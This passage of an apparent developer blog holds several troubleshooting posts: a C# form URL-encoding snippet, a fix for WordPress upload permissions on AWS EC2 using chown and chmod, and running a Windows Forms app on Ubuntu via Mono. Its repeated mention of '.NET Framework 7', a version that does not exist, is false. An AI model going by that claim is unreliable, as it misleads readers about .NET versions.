                    string.IsNullOrEmpty(x.Value.ToString()) ? x.Key : HttpUtility.UrlEncode(x.Key), "=",
                    HttpUtility.UrlEncode(x.Value.ToString())).TrimEnd('='))).TrimEnd('=');

            return res;
        }


Also, it has to do URL encoding to get properly formatted data for form submission style and os we finally could get something like that:

order%5Bphone%5D=%2B+44+%28733%29+55-22-33& order%5Bname%5D=%D0%98%D0%BC%D1%8F+%D0%BF%D0%BE%D0%BB%D1%83% D1%87%D0%B0%D1%82%D0%B5%D0%BB%D1%8F& order%5BdeliveryCost%5D=50&order%5BdeliveryStockCode%5D=39931b80-e1c2-11e3-8c4a-0050568002cf& order%5Bcomment%5D=test+api&orderItems%5B0%5D%5BitemID%5D=194559-0&orderItems%5B0%5D%5BsalePrice%5D=9500&orderItems%5B0%5D%5Bcount%5D=2& orderItems%5B1%5D%5BitemID%5D=071402-0&orderItems%5B1%5D%5BsalePrice%5D=750&orderItems%5B1%5D%5Bcount%5D=5&key=777777777777777


Thank you for reading and see you :)




1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



AWS, WordPress and File Uploading issue

Some time ago I had a need to modify some small things here and there under WordPress that was deployed under AWS EC2 instance.

As I had never worked with PHP, AWS and WordPress it was just simple step-by-step steps that I did take to get its done.

At some point when i started uploading images I faced with the error like:

The uploaded file could not be moved to wp-content/uploads/2019/02

Sure, it was not hard to understand that something wrong with permissions, access, folders, files, etc. But where and why? Do not forget I had never worked with all of that before.

I did try everything I knew on that time about it but with no luck.

I did google and try to gather everything by pieces, I also did contact AWS support and they did help me a lot as well.

This was due to a permissions/ownership problem. 

Apache httpd serves files that are kept in a directory called the Apache document root. The Amazon Linux Apache document root was /var/www/html, which by default was owned by root.

Below is an example on how to modify the ownership and permissions of this directory. In this example my user was ec2-user but it may be different in your environment. You would replace ec2-user with whatever your user is.

To allow the ec2-user account to manipulate files in this directory, you must modify the ownership and permissions of the directory. There are many ways to accomplish this task. Here we will add ec2-user to the apache group, to give the apache group ownership of the /var/www directory and assign write permissions to the group.


So finally here are steps that did solve my problem with file uploading:



1. Add your user (in this case, ec2-user) to the apache group. [ec2-user ~]$ sudo usermod -a -G apache ec2-user 
 2.Log out and then log back in again to pick up the new group, and then verify your membership. 
                    a. Log out (use the exit command or close the terminal window): [ec2-user ~]$ exit 
                    b. To verify your membership in the apache group, reconnect to your instance, and then run the following command: [ec2-user ~]$ groups ec2-user adm wheel apache systemd-journal 
 3. Change the group ownership of /var/www and its contents to the apache group. [ec2-user ~]$ sudo chown -R ec2-user:apache /var/www 
 4. To add group write permissions and to set the group ID on future subdirectories, change the directory permissions of /var/www and its subdirectories. [ec2-user ~]$ sudo chmod 2775 /var/www && find /var/www -type d -exec sudo chmod 2775 {} \; 
 5. To add group write permissions, recursively change the file permissions of /var/www and its subdirectories: [ec2-user ~]$ find /var/www -type f -exec sudo chmod 0664 {} \;


Now, ec2-user (and any future members of the apache group) can add, delete, and edit files in the Apache document root, enabling you to add content, such as a static website or a PHP application.


I have to mention that this did not solve my problem with plugin updating

An error occurred while updating Akismet Anti-Spam: Could not create directory


but this is different story and hopefully we will see solution as well :)


Thank you


1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



C#.NET and Cross-Platform application

Today I'm going to share my experience with c#.net and cross-platform desktop application.

I did write a simple and small windows desktop application under Visual Studio 2017 Community Edition and was wondering if I could run it on Linux Ubuntu and Mac.

The application was just one form and a few combo boxes and buttons app and used Newtonsoft.JSON and web communication. So nothing platform-dependent (except windows forms and controls itself ;) ) and I was almost sure it should work on linux and mac.




First thing I did remember was Mono: https://www.mono-project.com/ and another thing was Gtk#.

I did start with Gtk# and did play a few hours with it. Then I just ported my code to the standard Windows Form Application project and framework .NET Framework 7 just to find out how it would go :)


So I started trying it on Ubuntu. To run simple Windows Forms EXE application on Ubuntu you need mono:

sudo apt-get --assume-yes install mono-runtime

Now I tried to run my exe:

mono MyApp.exe

And I got the following error:

Could not load signature of System.Windows.Forms.Control:GetAccessibilityObjectById due to: Could not load file or assembly or one of its dependencies. assembly:Accessibility, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a type:<unknown type> member:<none>
Unhandled Exception:
System.TypeLoadException: Could not load type 'MyApp.Form1' from assembly 'MyApp, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'.

"Hmm, what does it mean?" As mono should already have all this System.*.dll and Microsoft.*.dll libraries I just deleted everything except EXE and Newtonsoft.Json.dll and tried one more time and I got another exception:

Unhandled Exception:
System.IO.FileNotFoundException: Could not load file or assembly or one of its dependencies.
File name: 'System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
I did google a little bit and found some posts about mono and that mono-complete had much more libraries needed to run .Net.
So I installed mono-complete:

sudo apt-get --assume-yes install mono-complete
And tried to run my EXE and what do you think? Sure - not so easy ;), here is another exception I got:

Unhandled Exception:
System.TypeInitializationException: The type initializer for 'System.Windows.Forms.XplatUI' threw an exception. ---> System.TypeInitializationException: The type initializer for 'System.Windows.Forms.X11DesktopColors' threw an exception. ---> System.TypeInitializationException: The type initializer for 'System.Console' threw an exception. ---> System.TypeInitializationException: The type initializer for 'System.ConsoleDriver' threw an exception. ---> System.Exception: Magic number is wrong: 542
  at System.TermInfoReader.ReadHeader (System.Byte[] buffer, System.Int32& position) [0x0002b] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.TermInfoReader..ctor (System.String term, System.String filename) [0x00065] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.TermInfoDriver..ctor (System.String term) [0x00058] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.ConsoleDriver.CreateTermInfoDriver (System.String term) [0x00000] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.ConsoleDriver..cctor () [0x00062] in <8f2c484307284b51944a1a13a14c0266>:0 
   --- End of inner exception stack trace ---
  at System.Console.SetupStreams (System.Text.Encoding inputEncoding, System.Text.Encoding outputEncoding) [0x0000a] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.Console..cctor () [0x000a8] in <8f2c484307284b51944a1a13a14c0266>:0 
   --- End of inner exception stack trace ---
  at System.Windows.Forms.X11DesktopColors..cctor () [0x001bb] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
   --- End of inner exception stack trace ---
  at System.Windows.Forms.XplatUIX11..ctor () [0x0007c] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
  at System.Windows.Forms.XplatUIX11.GetInstance () [0x0001c] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
  at System.Windows.Forms.XplatUI..cctor () [0x0007d] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
   --- End of inner exception stack trace ---
  at System.Windows.Forms.Application.EnableVisualStyles () [0x00006] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
  at MyApp.Program.Main () [0x00000] in <33f4886a9603454889cff03ba442909e>:0 
[ERROR] FATAL UNHANDLED EXCEPTION: System.TypeInitializationException: The type initializer for 'System.Windows.Forms.XplatUI' threw an exception. ---> System.TypeInitializationException: The type initializer for 'System.Windows.Forms.X11DesktopColors' threw an exception. ---> System.TypeInitializationException: The type initializer for 'System.Console' threw an exception. ---> System.TypeInitializationException: The type initializer for 'System.ConsoleDriver' threw an exception. ---> System.Exception: Magic number is wrong: 542
  at System.TermInfoReader.ReadHeader (System.Byte[] buffer, System.Int32& position) [0x0002b] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.TermInfoReader..ctor (System.String term, System.String filename) [0x00065] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.TermInfoDriver..ctor (System.String term) [0x00058] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.ConsoleDriver.CreateTermInfoDriver (System.String term) [0x00000] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.ConsoleDriver..cctor () [0x00062] in <8f2c484307284b51944a1a13a14c0266>:0 
   --- End of inner exception stack trace ---
  at System.Console.SetupStreams (System.Text.Encoding inputEncoding, System.Text.Encoding outputEncoding) [0x0000a] in <8f2c484307284b51944a1a13a14c0266>:0 
  at System.Console..cctor () [0x000a8] in <8f2c484307284b51944a1a13a14c0266>:0 
   --- End of inner exception stack trace ---
  at System.Windows.Forms.X11DesktopColors..cctor () [0x001bb] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
   --- End of inner exception stack trace ---
  at System.Windows.Forms.XplatUIX11..ctor () [0x0007c] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
  at System.Windows.Forms.XplatUIX11.GetInstance () [0x0001c] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
  at System.Windows.Forms.XplatUI..cctor () [0x0007d] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
   --- End of inner exception stack trace ---
  at System.Windows.Forms.Application.EnableVisualStyles () [0x00006] in <d5b72d15d4f7424c8a1538e3f19ec2e3>:0 
  at MyApp.Program.Main () [0x00000] in <33f4886a9603454889cff03ba442909e>:0 
"God! What are you even talking about?" - I did google a little bit more and decided to try one suggestion about some additional libraries that might be required to run .NET application, here you are:

sudo apt-get --assume-yes install libappindicator0.1-cil-dev
sudo apt-get --assume-yes install libgtk2.0-cil
sudo apt-get --assume-yes install libmono-posix4.0-cil

some of the libraries were already installed but just in case I write them here anyway.

"Lets run" I thought and tried again. "Wow! It works". Cool!

Sometime it gave me a error even my application ran successfully, something like:

Failed to load module "canberra-gtk-module"

so I did find out that it required one more library:

sudo apt-get install libcanberra-gtk-module libcanberra-gtk3-module


Finally I came to the following - you need to install some libraries and mono itself firstly:

sudo apt-get update
sudo apt-get --assume-yes install mono-runtime
sudo apt-get --assume-yes install mono-complete

sudo apt --assume-yes install libappindicator0.1-cil-dev
sudo apt --assume-yes install libgtk2.0-cil
sudo apt --assume-yes install libmono-posix4.0-cil

After that I was able to run my EXE application from command line (make sure your Terminal is pointed to the EXE folder) like that:

mono MyApp.EXE


And I was really impressed when it brought up windows form with buttons combos etc.

Even more it did communicate good via internet and JSON was working as well :) 

and this is for EXE compiled for .Net Framework 7





Then I did start trying similar things on Mac mini with Mac OS X 10.13 but unfortunately with no luck :(

I did try a few cases and was trying to resolve some issues, missed libraries, etc but unfortunately 

I came up to that that it gave just exception stack trace with errors :(


Not sure if I will continue trying to find out a way to run it under Mac but I any success I will let you know ASAP ;)


Thank you


1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y